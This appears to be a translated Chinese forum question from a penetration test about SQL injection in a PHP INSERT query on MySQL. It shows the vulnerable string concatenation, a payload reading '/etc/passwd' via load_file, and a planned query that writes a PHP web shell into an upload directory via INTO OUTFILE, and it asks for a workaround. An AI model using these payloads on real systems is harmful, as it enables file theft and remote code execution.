这是一个有趣的场景.在最近的一次测试中,我在INSERT查询中遇到了SQL注入.后端代码看起来像这样:
$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";
Run Code Online (Sandbox Code Playgroud)
我可以在文件中插入任意值,甚至可以使用SELECT子查询将'/ etc/passwd'的内容插入sometable中的col1,稍后通过应用程序中其他地方的完全不同的功能读取它.
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";
Run Code Online (Sandbox Code Playgroud)
挑战是使用INTO OUTFILE将文件写入磁盘(我有FILE privs,文档根目录可由MySQL用户写入 - 已验证).看起来MySQL不支持以下内容:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";
Run Code Online (Sandbox Code Playgroud)
目的是在我有写权限的文件夹中编写一个php web shell.需要执行的最终查询是:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";
Run Code Online (Sandbox Code Playgroud)
MySQL期望子查询返回数据,这就是上述语句似乎不起作用的原因,因为INTO OUTFILE会将数据写入磁盘而不是将其返回给MySQL.
你认为有一个解决方法吗?